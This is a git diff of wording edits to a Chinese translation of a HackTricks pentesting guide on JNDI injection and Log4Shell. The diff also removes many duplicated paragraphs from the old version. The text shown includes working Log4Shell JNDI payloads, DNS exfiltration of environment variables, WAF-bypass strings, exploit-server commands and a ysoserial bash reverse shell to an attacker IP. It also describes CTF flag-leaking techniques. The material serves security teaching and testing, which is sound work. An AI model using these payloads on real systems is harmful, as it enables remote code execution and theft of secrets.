diff --git a/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md index 92452064e..eef2eb8e0 100644 --- a/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md +++ b/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md @@ -8,15 +8,15 @@ * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family) +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -47,13 +47,13 @@ Java对象可以使用JNDI命名引用存储和检索,有两种形式: * _ldap://attacker-server/bar_ * _iiop://attacker-server/bar_ -尽管有保护措施,漏洞仍然存在,主要是由于缺乏对从不受信任来源加载JNDI的保护措施以及绕过现有保护的可能性。 +尽管有保护措施,漏洞仍然存在,主要是由于缺乏对从不受信任来源加载JNDI的保护以及绕过现有保护的可能性。 ### JNDI示例 ![](<../../.gitbook/assets/image (655) (1) (1).png>) -即使您已设置了**`PROVIDER_URL`**,您也可以在查找中指定不同的URL并进行访问:`ctx.lookup("")`,这就是攻击者将滥用以从由他控制的系统加载任意对象的方法。 +即使您已设置了**`PROVIDER_URL`**,您也可以在查找中指定不同的URL并访问:`ctx.lookup("")`,这是攻击者将滥用以从由他控制的系统加载任意对象的方法。 ### CORBA概述 @@ -69,7 +69,7 @@ CORBA(通用对象请求代理体系结构)使用**可互操作对象引用 * Socket权限,例如,`permissions java.net.SocketPermission "*:1098-1099", "connect";`。 * 文件读取权限,可以是全局的(`permission java.io.FilePermission "<>", "read";`)或针对可能放置恶意文件的特定目录。 -然而,一些供应商政策可能宽松,并默认允许这些连接。 +然而,一些供应商政策可能宽松,允许默认情况下进行这些连接。 ### RMI上下文 @@ -86,13 +86,13 @@ CORBA(通用对象请求代理体系结构)使用**可互操作对象引用 因此,有几种攻击这些选项的方法。\ **攻击者可以在LDAP记录中植入有效负载**,这些有效负载将在收集它们的系统中执行(如果您可以访问LDAP服务器,则非常有用,可以**危害数十台机器**)。另一种利用方法是在LDAP搜索中执行**中间人攻击**,例如。 -如果您可以**让应用程序解析JNDI LDAP URL**,则可以控制将要搜索的LDAP,并且可以发送回利用(log4shell)。 +如果您可以**让应用程序解析JNDI LDAP URL**,则可以控制将被搜索的LDAP,并且可以发送回利用(log4shell)。 #### 反序列化利用 ![](<../../.gitbook/assets/image (654) (1) (1) (1).png>) -**利用被序列化**,并将被反序列化。\ +**利用被序列化**,将进行反序列化。\ 如果`trustURLCodebase`为`true`,攻击者可以在代码库中提供自己的类;如果不是,则需要在类路径中滥用小工具。 #### JNDI引用利用 @@ -103,18 +103,18 @@ CORBA(通用对象请求代理体系结构)使用**可互操作对象引用 ## Log4Shell漏洞 -该漏洞出现在Log4j中,因为它支持一种[**特殊语法**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution),形式为`${prefix:name}`,其中`prefix`是不同[**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html)之一,`name`应该被评估。例如,`${java:version}`是当前运行的Java版本。 +该漏洞是由于Log4j支持一种[**特殊语法**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution),形式为`${prefix:name}`,其中`prefix`是多种不同[**查找**](https://logging.apache.org/log4j/2.x/manual/lookups.html)之一,`name`应该被评估。例如,`${java:version}`是当前运行的Java版本。 -[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)引入了`jndi` Lookup功能。此功能通过JNDI检索变量。通常,密钥会自动添加前缀`java:comp/env/`。但是,如果密钥本身包含**“:”**,则不会应用此默认前缀。 +[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)引入了`jndi`查找功能。此功能通过JNDI检索变量。通常,密钥会自动添加前缀`java:comp/env/`。但是,如果密钥本身包含**“:”**,则不会应用此默认前缀。 -如果密钥中包含**“:”**,例如`${jndi:ldap://example.com/a}`,则没有前缀,**LDAP服务器将查询对象**。这些Lookups可以用于Log4j的配置以及记录行时使用。 +如果密钥中存在**“:”**,例如`${jndi:ldap://example.com/a}`,则没有前缀,**LDAP服务器将查询对象**。这些查找可以用于Log4j的配置以及记录行时。 因此,要实现RCE,只需有一个**受用户控制的信息的易受攻击版本的Log4j**。由于这是Java应用程序广泛使用的库,用于记录信息(包括面向互联网的应用程序),因此很常见使用log4j记录例如接收的HTTP标头,如User-Agent。但是,log4j**不仅用于记录HTTP信息,还用于记录任何输入**和开发人员指定的数据。 ## Log4Shell相关CVE概述 ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[关键]** -这个漏洞是`log4j-core`组件中的关键**未受信任的反序列化漏洞**,影响版本从2.0-beta9到2.14.1。它允许**远程代码执行(RCE)**,使攻击者能够接管系统。该问题由阿里巴巴云安全团队的陈兆军报告,并影响各种Apache框架。版本2.15.0中的初始修复是不完整的。有用于防御的Sigma规则可用([规则1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml),[规则2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))。 +这个漏洞是`log4j-core`组件中的关键**未受信任的反序列化漏洞**,影响版本从2.0-beta9到2.14.1。它允许**远程代码执行(RCE)**,使攻击者能够接管系统。该问题由阿里巴巴云安全团队的陈兆军报告,并影响各种Apache框架。版本2.15.0中的初始修复是不完整的。可用于防御的Sigma规则([规则1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml),[规则2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))。 ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[关键]** @@ -122,11 +122,11 @@ CORBA(通用对象请求代理体系结构)使用**可互操作对象引用 ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[高]** -影响非默认配置中使用`JMSAppender`的**Log4j 1.x版本**,这个CVE是一个未受信任的反序列化漏洞。1.x分支没有可用的修复,该分支已经终止生命周期,建议升级到`log4j-core 2.17.0`。 +影响非默认配置中使用`JMSAppender`的**Log4j 1.x版本**,这个CVE是一个未受信任的反序列化漏洞。1.x分支没有可用的修复程序,该分支已经终止生命周期,建议升级到`log4j-core 2.17.0`。 ### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[中等]** -这个漏洞影响**Logback日志框架**,这是Log4j 1.x的后继者。此前认为是安全的框架被发现存在漏洞,新版本(1.3.0-alpha11和1.2.9)已发布以解决此问题。 +这个漏洞影响**Logback日志框架**,这是Log4j 1.x的后继者。此前被认为是安全的框架被发现存在漏洞,新版本(1.3.0-alpha11和1.2.9)已发布以解决此问题。 ### **CVE-2021-45105** **\[高]** @@ -140,7 +140,7 @@ Log4j 2.16.0存在一个DoS漏洞,促使发布`log4j 2.17.0`来修复该CVE。 ### 发现 -如果没有受保护,这个漏洞很容易被发现,因为它会向您在负载中指定的地址发送至少一个**DNS请求**。因此,像以下这样的负载: +如果未受保护,这个漏洞很容易被发现,因为它会向您在有效载荷中指定的地址发送至少一个**DNS请求**。因此,像以下这样的有效载荷: * `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}`(使用[canarytokens.com](https://canarytokens.org/generate)) * `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}`(使用[interactsh](https://github.com/projectdiscovery/interactsh)) @@ -148,7 +148,7 @@ Log4j 2.16.0存在一个DoS漏洞,促使发布`log4j 2.17.0`来修复该CVE。 * `${jndi:ldap://2j4ayo.dnslog.cn}`(使用[dnslog](http://dnslog.cn)) * `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}`(使用[huntress](https://log4shell.huntress.com)) -请注意,**即使收到DNS请求也不意味着应用程序是可利用的**(甚至是有漏洞的),您需要尝试利用它。 +请注意,**即使收到DNS请求,也不意味着应用程序是可利用的**(甚至是有漏洞的),您需要尝试利用它。 {% hint style="info" %} 请记住,要**利用版本2.15**,您需要添加**本地主机检查绕过**:${jndi:ldap://**127.0.0.1#**...} @@ -169,7 +169,7 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[ * 滥用漏洞**窃取信息** 例如,您可以请求类似于:\ -或者像`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**,如果收到带有环境变量值的**DNS请求**,则知道应用程序存在漏洞。 +或者像`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**,如果收到带有环境变量值的**DNS请求**,则说明应用程序存在漏洞。 您可以尝试**泄露**的其他信息: ``` @@ -227,16 +227,16 @@ Any other env variable name that could store sensitive information {% hint style="info" %} 在 JDK 版本高于 6u141、7u131 或 8u121 的主机上,已经针对 LDAP 类加载攻击向量进行了保护。这是因为默认情况下禁用了 `com.sun.jndi.ldap.object.trustURLCodebase`,阻止了 JNDI 通过 LDAP 加载远程代码库。然而,需要注意的是这些版本**仍然无法防御反序列化攻击向量**。 -对于试图利用这些较高 JDK 版本的攻击者来说,有必要利用 Java 应用程序中的**受信任小工具**。像 ysoserial 或 JNDIExploit 这样的工具经常用于此目的。相反,利用较低 JDK 版本相对更容易,因为这些版本可以被操纵以加载和执行任意类。 +对于试图利用这些较高 JDK 版本的攻击者来说,有必要利用 Java 应用程序中的**受信任小工具**。诸如 ysoserial 或 JNDIExploit 的工具经常用于此目的。相反,利用较低 JDK 版本相对较容易,因为这些版本可以被操纵以加载和执行任意类。 要了解**更多信息**(_如 RMI 和 CORBA 向量的限制_),请查看之前的 JNDI 命名参考部分或[https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) {% endhint %} ### RCE - 使用自定义有效载荷的 Marshalsec -您可以在 **THM box** 中测试这个:[**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar) +您可以在 **THM box** 中测试此功能:[**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar) -使用工具 [**marshalsec**](https://github.com/mbechler/marshalsec)(jar 版本可在[**这里**](https://github.com/RandomRobbieBF/marshalsec-jar)找到)。这种方法建立了一个 LDAP 引荐服务器,将连接重定向到一个次要的 HTTP 服务器,其中将托管利用程序: +使用工具 [**marshalsec**](https://github.com/mbechler/marshalsec)(jar 版本可在[**此处**](https://github.com/RandomRobbieBF/marshalsec-jar)找到)。这种方法建立了一个 LDAP 引荐服务器,将连接重定向到一个次要的 HTTP 服务器,其中将托管利用程序: ```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://:8000/#Exploit" ``` @@ -254,21 +254,21 @@ e.printStackTrace(); ``` 将Java文件编译为类文件使用:`javac Exploit.java -source 8 -target 8`。接下来,在包含类文件的目录中启动**HTTP服务器**:`python3 -m http.server`。确保**marshalsec LDAP服务器**引用了这个HTTP服务器。 -通过发送类似以下负载来触发对易受攻击的Web服务器上的exploit类的执行: +通过发送类似以下负载的触发方式,触发对易受攻击的Web服务器上的exploit类的执行: ```bash ${jndi:ldap://:1389/Exploit} ``` -**注意:** 此漏洞依赖于Java的配置,允许通过LDAP加载远程代码库。如果不允许此操作,请考虑利用受信任的类执行任意代码。 +**注意:** 这个漏洞利用取决于Java的配置,允许通过LDAP加载远程代码库。如果这是不允许的,请考虑利用受信任的类来执行任意代码。 ### RCE - **JNDIExploit** {% hint style="info" %} -请注意,由于发现了log4shell,作者在github上删除了此项目。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)中找到缓存版本,但如果您希望尊重作者的决定,请使用其他方法来利用此漏洞。 +请注意,由于发现了log4shell,作者出于某种原因从github中删除了这个项目。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)中找到缓存版本,但如果您想尊重作者的决定,请使用其他方法来利用此漏洞。 -此外,您无法在wayback machine中找到源代码,因此要么分析源代码,要么执行jar文件,但要知道您不知道自己在执行什么。 +此外,您无法在wayback machine中找到源代码,因此要么分析源代码,要么执行jar文件,知道您不知道自己在执行什么。 {% endhint %} -例如,您可以在端口8080上运行此**易受log4shell影响的Web服务器**:[https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)(_在自述文件中,您将找到如何运行它_)。此易受攻击的应用正在使用易受攻击版本的log4shell记录HTTP请求标头_X-Api-Version_的内容。 +例如,您可以在端口8080上运行此**易受log4shell影响的Web服务器**:[https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)(_在自述文件中,您将找到如何运行它的说明_)。这个易受攻击的应用正在使用易受攻击版本的log4shell记录HTTP请求头_X-Api-Version_的内容。 然后,您可以下载**JNDIExploit** jar文件并执行以下操作: ```bash @@ -276,8 +276,8 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access ``` -阅读代码仅几分钟后,在_com.feihong.ldap.LdapServer_和_com.feihong.ldap.HTTPServer_中,您可以看到**LDAP和HTTP服务器是如何创建**的。LDAP服务器将了解需要提供的有效负载,并将受害者重定向到HTTP服务器,后者将提供利用。\ -在_com.feihong.ldap.gadgets_中,您可以找到可用于执行所需操作(可能执行任意代码)的**一些特定小工具**。在_com.feihong.ldap.template_中,您可以看到将**生成利用**的不同模板类。 +阅读代码仅需几分钟,在_com.feihong.ldap.LdapServer_和_com.feihong.ldap.HTTPServer_中,您可以看到**LDAP和HTTP服务器是如何创建**的。LDAP服务器将了解需要提供的有效负载,并将受害者重定向到HTTP服务器,后者将提供利用。\ +在_com.feihong.ldap.gadgets_中,您可以找到**一些特定的小工具**,可用于执行所需的操作(潜在执行任意代码)。在_com.feihong.ldap.template_中,您可以看到将**生成利用**的不同模板类。 您可以使用**`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**查看所有可用的利用。一些有用的利用包括: ```bash @@ -310,24 +310,28 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172. # Execute command java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" ``` -_这种利用自定义生成的Java对象的攻击在像**THM太阳房间**这样的实验室中可以生效。然而,通常情况下不会生效(因为默认情况下Java未配置为使用LDAP加载远程代码库),我认为这是因为它没有滥用受信任的类来执行任意代码。_ +_这种利用自定义生成的Java对象的攻击在像**THM太阳房间**这样的实验室中可以使用。然而,这通常不起作用(因为默认情况下Java未配置为使用LDAP加载远程代码库),我认为这是因为它没有滥用受信任的类来执行任意代码。_ -### RCE - ysoserial & JNDI-Exploit-Kit +### RCE - JNDI注入利用加强版 -这个选项非常适用于攻击**仅信任指定类而不是所有人的Java版本**。因此,**ysoserial**将被用来生成**受信任类的序列化**,这些序列化可以被用作工具来**执行任意代码**(_ysoserial滥用的受信任类必须被受害者Java程序使用,以使利用生效_)。 +[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) 是另一个用于生成**可用的JNDI链接**并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务的工具。\ -使用**ysoserial**或[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)可以创建反序列化利用,该利用将被JNDI下载: +### RCE - ysoserial 和 JNDI利用工具包 + +这个选项对于攻击**仅信任指定类而不是所有人的Java版本**非常有用。因此,**ysoserial**将被用来生成**受信任类的序列化**,这些序列化可以用作**执行任意代码的小工具**(_ysoserial滥用的受信任类必须被受害者Java程序使用,以使利用生效_)。 + +使用**ysoserial**或[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified),您可以创建将被JNDI下载的反序列化利用程序: ```bash # Rev shell via CommonsCollections5 java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser ``` -使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDI链接**,在其中漏洞机器连接时等待利用。您可以使用JNDI-Exploit-Kit自动生成的**不同利用**,也可以使用您自己生成的或者由ysoserial生成的**反序列化有效载荷**。 +使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDI链接**,在那里漏洞将等待来自受影响机器的连接。您可以提供由JNDI-Exploit-Kit自动生成的**不同的漏洞利用**,甚至是您自己生成的反序列化有效负载(由您或ysoserial生成)。 ```bash java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser ``` ![](<../../.gitbook/assets/image (642) (1) (1).png>) -现在,您可以轻松使用生成的JNDI链接来利用漏洞并获取**反向 shell**,只需发送到一个易受攻击的 log4j 版本:**`${ldap://10.10.14.10:1389/generated}`** +现在您可以轻松使用生成的JNDI链接来利用漏洞并获取**反向shell**,只需发送到一个易受攻击的log4j版本:**`${ldap://10.10.14.10:1389/generated}`** ### 绕过方式 ```java @@ -361,7 +365,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" ## Log4Shell 漏洞利用后 -在这个[**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中很好地解释了如何潜在地滥用**Log4J**的一些功能。 +在这个[**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中很好地解释了如何**滥用**Log4J的一些功能。 Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)中有一些有趣的句子: @@ -385,87 +389,26 @@ Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html) ### 异常中的数据窃取 -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: +在CTF中,你**无法访问java应用程序的stderr**,但Log4J的**异常会发送到stdout**,并在python应用程序中打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,异常将显示标志的值: ![](<../../.gitbook/assets/image (157).png>) ### 转换模式异常 -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: +仅提一下,你也可以注入新的[**转换模式**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)并触发将被记录到`stdout`的异常。例如: -![](<../../.gitbook/assets/image (157).png>) +![](<../../.gitbook/assets/image (3) (2) (1) (1).png>) -### 转换模式异常 +这并没有发现有用于在错误消息中窃取日期,因为查找在转换模式之前没有解决,但它可能对其他事情有用,比如检测。 -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: +### 转换模式正则表达式 -![](<../../.gitbook/assets/image (157).png>) +然而,可以使用一些支持正则表达式的**转换模式**来通过使用正则表达式和滥用**二分查找**或**基于时间**的行为从查找中窃取信息。 -### 转换模式异常 +* **通过异常消息进行二分查找** -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: - -![](<../../.gitbook/assets/image (157).png>) - -### 转换模式异常 - -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: - -![](<../../.gitbook/assets/image (157).png>) - -### 转换模式异常 - -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: - -![](<../../.gitbook/assets/image (157).png>) - -### 转换模式异常 - -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: - -![](<../../.gitbook/assets/image (157).png>) - -### 转换模式异常 - -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: - -![](<../../.gitbook/assets/image (157).png>) - -### 转换模式异常 - -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: - -![](<../../.gitbook/assets/image (157).png>) - -### 转换模式异常 - -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: - -![](<../../.gitbook/assets/image (157).png>) - -### 转换模式异常 - -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: - -![](<../../.gitbook/assets/image (157).png>) - -### 转换模式异常 - -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: - -![](<../../.gitbook/assets/image (157).png>) - -### 转换模式异常 - -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: - -![](<../../.gitbook/assets/image (157).png>) - -### 转换模式异常 - -在CTF中,你**无法访问**使用log4J的java应用程序的stderr,但Log4J**异常会发送到stdout**,这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常: - -![](<../../.gitbook/assets/image (157).png>) +转换模式**`%replace`**可以用于**替换**字符串中的**内容**,甚至使用**正则表达式**。它的工作方式如下:`replace{pattern}{regex}{substitution}`\ +滥用这种行为,你可以使替换**在正则表达式匹配到任何字符串内的内容时触发异常**(如果未找到则不会触发异常),如下所示: ```bash %replace{${env:FLAG}}{^CTF.*}{${error}} # The string searched is the env FLAG, the regex searched is ^CTF.* @@ -473,10 +416,10 @@ Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html) ``` * **基于时间的攻击** -正如前一节中提到的,**`%replace`** 支持 **正则表达式**。因此,可以使用来自[**ReDoS页面**](../regular-expression-denial-of-service-redos.md)的有效载荷,在找到标志时引发**超时**。\ -例如,像 `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` 这样的有效载荷会在那个CTF比赛中触发**超时**。 +正如前一节中提到的,**`%replace`** 支持 **正则表达式**。因此,可以使用来自[**ReDoS页面**](../regular-expression-denial-of-service-redos.md)的有效载荷来引发超时,以便在找到标志时触发超时。\ +例如,像 `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` 这样的有效载荷将在那个CTF比赛中触发超时。 -在这个[**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中,它没有使用 ReDoS 攻击,而是使用了一种**放大攻击**来导致响应中的时间差异: +在这个[**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中,它使用了一种**放大攻击**来导致响应中的时间差异: > ``` > /%replace{ @@ -495,9 +438,9 @@ Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html) > }{#}{######################################################} > ``` > -> 如果标志以 `flagGuess` 开头,整个标志将被替换为 29 个 `#`(我使用这个字符是因为它可能不是标志的一部分)。 **然后,每个生成的 29 个 `#` 都会被替换为 54 个 `#`**。 这个过程重复**6次**,总共产生了 `29*54*54^6* =`` `` `**`96816014208`** **个 `#`!** +> 如果标志以 `flagGuess` 开头,则整个标志将被替换为 29 个 `#`(我使用这个字符是因为它可能不是标志的一部分)。**然后,每个生成的 29 个 `#` 将被替换为 54 个 `#`**。这个过程重复进行 **6 次**,总共产生了 ` 29*54*54^6* =`` `` `**`96816014208`** **个 `#`!** > -> 替换这么多 `#` 会触发 Flask 应用程序的 10 秒超时,从而导致向用户发送 HTTP 状态码 500。(如果标志不以 `flagGuess` 开头,我们将收到非 500 状态码) +> 替换这么多 `#` 将触发 Flask 应用程序的 10 秒超时,从而导致向用户发送 HTTP 状态码 500。(如果标志不以 `flagGuess` 开头,我们将收到非 500 状态码) ## 参考资料 @@ -512,20 +455,20 @@ Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html) **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-从零开始学习 AWS 黑客技术,成为专家,使用 htARTE(HackTricks AWS 红队专家) +从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) 支持 HackTricks 的其他方式: -* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品 -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* 探索我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family) +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。